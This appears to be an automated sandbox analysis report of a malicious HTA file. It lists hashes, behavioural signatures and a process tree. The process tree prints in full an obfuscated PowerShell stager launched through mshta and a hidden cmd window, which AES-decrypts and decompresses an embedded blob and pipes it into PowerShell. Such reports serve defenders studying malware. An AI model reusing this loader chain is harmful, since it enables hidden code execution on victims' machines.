Analysis

  • max time kernel
    118s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7-20231215-en
  • resource tags

    arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
  • submitted
    12/02/2024, 04:28

General

  • Target

    ff67692abc453dbbc9c8d70bb6d623197171fd4604d82b6adccc53c2e1db4d9b.hta

  • Size

    1.3MB

  • MD5

    9c63ac93a4b34f999a4283409af471ed

  • SHA1

    4b03914c7cbb4bc61e6097846e3cc49bad153140

  • SHA256

    ff67692abc453dbbc9c8d70bb6d623197171fd4604d82b6adccc53c2e1db4d9b

  • SHA512

    f712e7b1d528dd989b860a04dd057cfd4c92152a6f2f35df5176bf3db7fb7a4a994849c7bab9c61003ecf5a8cc52197c88237c5475aaa04ad0031fb0929e6843

  • SSDEEP

    3072:PSE1iZfQZUcaJgF4oHDgXN4Wy5iAlb2t5YRyrR3Ry/4dE4J0Yut3n8E:PSE1iuZU0lcXiWazUtlTZ0ht3n8E

Score
3/10

Malware Config

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 16 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\ff67692abc453dbbc9c8d70bb6d623197171fd4604d82b6adccc53c2e1db4d9b.hta"
    1⤵
    • Modifies Internet Explorer settings
    • Suspicious use of WriteProcessMemory
    PID:2072
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted Start-Process 'cmd.exe' -WindowStyle hidden -ArgumentList {/c powershell.exe $zQnYK = 'AAAAAAAAAAAAAAAAAAAAACXupjrcv5ymMTmzsb9HMj07g0fGYk2bbVGWdYfCvOdwpdgs3KfPBEGflsg4MYw7wGvpkM9EJZH7F6vXugnc2Lz8KIiGf03nygEs55hK43MDHMMgyNslGWtSzy7Yfiq6G9uIVqYBZpXFfmUZgtCvSGCzt7tckibs0i23AyyDkoy0dDCwTMryCdzyYQRVgUjfHYU145udUimQ0TwkwAmjzFVeCCW+IQnodfAy3x19IvCgMHB1/7dsyclFh+gWpQ+iQUxS1WTmVYc8sSR8GAwt7ZWSnGqo9+wZspkmVDW+vNOyr1nbI1ENdgDd/Vie7Q47nePVzyykP0WORqguPXpSH/O9kld7HXQ+Dgad9lLP0dWwRudTYUFfP6uApJb8EGgfX5FPWzKIyqWQXxjYE3egEBzFzyOVat/eyCz1xyaHXMZNBSY/pJ4W57DTWQM/fHDLVKAZYrK+ZVj3FjnGNucBPhxgXMz7SnZb4J+nL4BrcgQ4kWRtffTvi3C60/nED5s/Hzpm567v1oC5ULWlyI6KuEB/XPedLe9iM3waBDbD12EIL9da5QOQv3bM1QHDsWfotmKsFyUrDwkmAOIb5JZ9VW+d8ZEnSFsbdeQgHDUt147oUHGoGQfquMcoCKS9I1k7cDjIVlslxtvdw4cq2M62VWFKlCpvsFkRKiVtGQ0xTgECkRjGw8FOIc7O0PeU0he13srDyg80LcAK0FbL/TrVLZ/MW+6CTnbL2RjoGOiPaGXPyvZpSwNA/V7rAfjwoQ0wXPAEfhBw4p7eWaKQKH/l2pMIwimecm+NIQLe/AlvTUivadjBkzB+r+mWbVZ1KKOdjj87WtPNlvmAX0aH4YV1WZnpNdeyHQ8QQzPxZs4ESiFnS2tJEO5oPZzUKxoGULupJTg3qDjrvizbY92amhetyETM+N3nSC2Yy7uQhOSUZqgARp0gg3Z8cq9hk0F59VLIqGcsUjxwnbuLd4UiNaonNgNahyabt1Pzilx+8c5/XEy0g/4YdsOQnIRBAu0WXJLmsxkoSHq3JuZXEgpOHZTiPL2Y2tiML+aAM5vUpar6eiOtigWXqUUbc+YUHJmDvUW7R5cDAGjT52ysT9Zg8BDvYmmo5FMNtbmZPF7/sCKPduUP';$SsVIx = 'Y1JzVWdra0xsVUF3THl6ZGxuaFhucktwSGJhTmdod0E=';$HUHUVe = New-Object 'System.Security.Cryptography.AesManaged';$HUHUVe.Mode = [System.Security.Cryptography.CipherMode]::ECB;$HUHUVe.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$HUHUVe.BlockSize = 128;$HUHUVe.KeySize = 256;$HUHUVe.Key = [System.Convert]::FromBase64String($SsVIx);$LTpyn = [System.Convert]::FromBase64String($zQnYK);$jBYKFano = $LTpyn[0..15];$HUHUVe.IV = $jBYKFano;$pZHBtYCTs = $HUHUVe.CreateDecryptor();$qfwLxAoVP = $pZHBtYCTs.TransformFinalBlock($LTpyn, 16, $LTpyn.Length - 16);$HUHUVe.Dispose();$SRohYcy = New-Object System.IO.MemoryStream( , $qfwLxAoVP );$jlLrbjuo = New-Object System.IO.MemoryStream;$auncLVdzc = New-Object System.IO.Compression.GzipStream $SRohYcy, ([IO.Compression.CompressionMode]::Decompress);$auncLVdzc.CopyTo( $jlLrbjuo );$auncLVdzc.Close();$SRohYcy.Close();[byte[]] $cQoYS = $jlLrbjuo.ToArray();$lBjpq = [System.Text.Encoding]::UTF8.GetString($cQoYS);$lBjpq | powershell - }
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1960
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" /c powershell.exe $zQnYK = 'AAAAAAAAAAAAAAAAAAAAACXupjrcv5ymMTmzsb9HMj07g0fGYk2bbVGWdYfCvOdwpdgs3KfPBEGflsg4MYw7wGvpkM9EJZH7F6vXugnc2Lz8KIiGf03nygEs55hK43MDHMMgyNslGWtSzy7Yfiq6G9uIVqYBZpXFfmUZgtCvSGCzt7tckibs0i23AyyDkoy0dDCwTMryCdzyYQRVgUjfHYU145udUimQ0TwkwAmjzFVeCCW+IQnodfAy3x19IvCgMHB1/7dsyclFh+gWpQ+iQUxS1WTmVYc8sSR8GAwt7ZWSnGqo9+wZspkmVDW+vNOyr1nbI1ENdgDd/Vie7Q47nePVzyykP0WORqguPXpSH/O9kld7HXQ+Dgad9lLP0dWwRudTYUFfP6uApJb8EGgfX5FPWzKIyqWQXxjYE3egEBzFzyOVat/eyCz1xyaHXMZNBSY/pJ4W57DTWQM/fHDLVKAZYrK+ZVj3FjnGNucBPhxgXMz7SnZb4J+nL4BrcgQ4kWRtffTvi3C60/nED5s/Hzpm567v1oC5ULWlyI6KuEB/XPedLe9iM3waBDbD12EIL9da5QOQv3bM1QHDsWfotmKsFyUrDwkmAOIb5JZ9VW+d8ZEnSFsbdeQgHDUt147oUHGoGQfquMcoCKS9I1k7cDjIVlslxtvdw4cq2M62VWFKlCpvsFkRKiVtGQ0xTgECkRjGw8FOIc7O0PeU0he13srDyg80LcAK0FbL/TrVLZ/MW+6CTnbL2RjoGOiPaGXPyvZpSwNA/V7rAfjwoQ0wXPAEfhBw4p7eWaKQKH/l2pMIwimecm+NIQLe/AlvTUivadjBkzB+r+mWbVZ1KKOdjj87WtPNlvmAX0aH4YV1WZnpNdeyHQ8QQzPxZs4ESiFnS2tJEO5oPZzUKxoGULupJTg3qDjrvizbY92amhetyETM+N3nSC2Yy7uQhOSUZqgARp0gg3Z8cq9hk0F59VLIqGcsUjxwnbuLd4UiNaonNgNahyabt1Pzilx+8c5/XEy0g/4YdsOQnIRBAu0WXJLmsxkoSHq3JuZXEgpOHZTiPL2Y2tiML+aAM5vUpar6eiOtigWXqUUbc+YUHJmDvUW7R5cDAGjT52ysT9Zg8BDvYmmo5FMNtbmZPF7/sCKPduUP';$SsVIx = 'Y1JzVWdra0xsVUF3THl6ZGxuaFhucktwSGJhTmdod0E=';$HUHUVe = New-Object 'System.Security.Cryptography.AesManaged';$HUHUVe.Mode = [System.Security.Cryptography.CipherMode]::ECB;$HUHUVe.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$HUHUVe.BlockSize = 128;$HUHUVe.KeySize = 256;$HUHUVe.Key = [System.Convert]::FromBase64String($SsVIx);$LTpyn = [System.Convert]::FromBase64String($zQnYK);$jBYKFano = $LTpyn[0..15];$HUHUVe.IV = $jBYKFano;$pZHBtYCTs = $HUHUVe.CreateDecryptor();$qfwLxAoVP = $pZHBtYCTs.TransformFinalBlock($LTpyn, 16, $LTpyn.Length - 16);$HUHUVe.Dispose();$SRohYcy = New-Object System.IO.MemoryStream( , $qfwLxAoVP );$jlLrbjuo = New-Object System.IO.MemoryStream;$auncLVdzc = New-Object System.IO.Compression.GzipStream $SRohYcy, ([IO.Compression.CompressionMode]::Decompress);$auncLVdzc.CopyTo( $jlLrbjuo );$auncLVdzc.Close();$SRohYcy.Close();[byte[]] $cQoYS = $jlLrbjuo.ToArray();$lBjpq = [System.Text.Encoding]::UTF8.GetString($cQoYS);$lBjpq | powershell -
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2800
  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:2796
  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe $zQnYK = 'AAAAAAAAAAAAAAAAAAAAACXupjrcv5ymMTmzsb9HMj07g0fGYk2bbVGWdYfCvOdwpdgs3KfPBEGflsg4MYw7wGvpkM9EJZH7F6vXugnc2Lz8KIiGf03nygEs55hK43MDHMMgyNslGWtSzy7Yfiq6G9uIVqYBZpXFfmUZgtCvSGCzt7tckibs0i23AyyDkoy0dDCwTMryCdzyYQRVgUjfHYU145udUimQ0TwkwAmjzFVeCCW+IQnodfAy3x19IvCgMHB1/7dsyclFh+gWpQ+iQUxS1WTmVYc8sSR8GAwt7ZWSnGqo9+wZspkmVDW+vNOyr1nbI1ENdgDd/Vie7Q47nePVzyykP0WORqguPXpSH/O9kld7HXQ+Dgad9lLP0dWwRudTYUFfP6uApJb8EGgfX5FPWzKIyqWQXxjYE3egEBzFzyOVat/eyCz1xyaHXMZNBSY/pJ4W57DTWQM/fHDLVKAZYrK+ZVj3FjnGNucBPhxgXMz7SnZb4J+nL4BrcgQ4kWRtffTvi3C60/nED5s/Hzpm567v1oC5ULWlyI6KuEB/XPedLe9iM3waBDbD12EIL9da5QOQv3bM1QHDsWfotmKsFyUrDwkmAOIb5JZ9VW+d8ZEnSFsbdeQgHDUt147oUHGoGQfquMcoCKS9I1k7cDjIVlslxtvdw4cq2M62VWFKlCpvsFkRKiVtGQ0xTgECkRjGw8FOIc7O0PeU0he13srDyg80LcAK0FbL/TrVLZ/MW+6CTnbL2RjoGOiPaGXPyvZpSwNA/V7rAfjwoQ0wXPAEfhBw4p7eWaKQKH/l2pMIwimecm+NIQLe/AlvTUivadjBkzB+r+mWbVZ1KKOdjj87WtPNlvmAX0aH4YV1WZnpNdeyHQ8QQzPxZs4ESiFnS2tJEO5oPZzUKxoGULupJTg3qDjrvizbY92amhetyETM+N3nSC2Yy7uQhOSUZqgARp0gg3Z8cq9hk0F59VLIqGcsUjxwnbuLd4UiNaonNgNahyabt1Pzilx+8c5/XEy0g/4YdsOQnIRBAu0WXJLmsxkoSHq3JuZXEgpOHZTiPL2Y2tiML+aAM5vUpar6eiOtigWXqUUbc+YUHJmDvUW7R5cDAGjT52ysT9Zg8BDvYmmo5FMNtbmZPF7/sCKPduUP';$SsVIx = 'Y1JzVWdra0xsVUF3THl6ZGxuaFhucktwSGJhTmdod0E=';$HUHUVe = New-Object 'System.Security.Cryptography.AesManaged';$HUHUVe.Mode = [System.Security.Cryptography.CipherMode]::ECB;$HUHUVe.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$HUHUVe.BlockSize = 128;$HUHUVe.KeySize = 256;$HUHUVe.Key = [System.Convert]::FromBase64String($SsVIx);$LTpyn = [System.Convert]::FromBase64String($zQnYK);$jBYKFano = $LTpyn[0..15];$HUHUVe.IV = $jBYKFano;$pZHBtYCTs = $HUHUVe.CreateDecryptor();$qfwLxAoVP = $pZHBtYCTs.TransformFinalBlock($LTpyn, 16, $LTpyn.Length - 16);$HUHUVe.Dispose();$SRohYcy = New-Object System.IO.MemoryStream( , $qfwLxAoVP );$jlLrbjuo = New-Object System.IO.MemoryStream;$auncLVdzc = New-Object System.IO.Compression.GzipStream $SRohYcy, ([IO.Compression.CompressionMode]::Decompress);$auncLVdzc.CopyTo( $jlLrbjuo );$auncLVdzc.Close();$SRohYcy.Close();[byte[]] $cQoYS = $jlLrbjuo.ToArray();$lBjpq = [System.Text.Encoding]::UTF8.GetString($cQoYS);$lBjpq
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:2584

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

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        Downloads

        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

          Filesize

          7KB

          MD5

          a5a454e2089fe4a70c83522aeb718b1d

          SHA1

          d21857577aa7fa047b8c13424ccc0c9d134d989b

          SHA256

          eefab11dc7e2119971f789cf6fa5d1647c881fab11a4b9befe7aa0d5f059b8a3

          SHA512

          edafe302004353f3e28cf46d7691746168394369911ee5e68cb919632c988cbd1878389bca9e9ee947e6188508bc9a3a6878c40c326c59d3358bbac8b831b3d2

        • memory/1960-3-0x0000000072390000-0x000000007293B000-memory.dmp

          Filesize

          5.7MB

        • memory/1960-5-0x0000000002B80000-0x0000000002BC0000-memory.dmp

          Filesize

          256KB

        • memory/1960-9-0x0000000072390000-0x000000007293B000-memory.dmp

          Filesize

          5.7MB

        • memory/1960-11-0x0000000002B80000-0x0000000002BC0000-memory.dmp

          Filesize

          256KB

        • memory/1960-19-0x0000000072390000-0x000000007293B000-memory.dmp

          Filesize

          5.7MB

        • memory/2584-30-0x0000000072390000-0x000000007293B000-memory.dmp

          Filesize

          5.7MB

        • memory/2584-32-0x0000000072390000-0x000000007293B000-memory.dmp

          Filesize

          5.7MB

        • memory/2584-31-0x0000000002A10000-0x0000000002A50000-memory.dmp

          Filesize

          256KB

        • memory/2584-34-0x0000000002A10000-0x0000000002A50000-memory.dmp

          Filesize

          256KB

        • memory/2584-33-0x0000000002A10000-0x0000000002A50000-memory.dmp

          Filesize

          256KB

        • memory/2584-39-0x0000000072390000-0x000000007293B000-memory.dmp

          Filesize

          5.7MB

        • memory/2796-35-0x0000000002DA0000-0x0000000002DE0000-memory.dmp

          Filesize

          256KB

        • memory/2796-38-0x0000000002DA0000-0x0000000002DE0000-memory.dmp

          Filesize

          256KB

        • memory/2796-37-0x0000000002DA0000-0x0000000002DE0000-memory.dmp

          Filesize

          256KB

        • memory/2796-36-0x0000000072390000-0x000000007293B000-memory.dmp

          Filesize

          5.7MB

        • memory/2796-40-0x0000000072390000-0x000000007293B000-memory.dmp

          Filesize

          5.7MB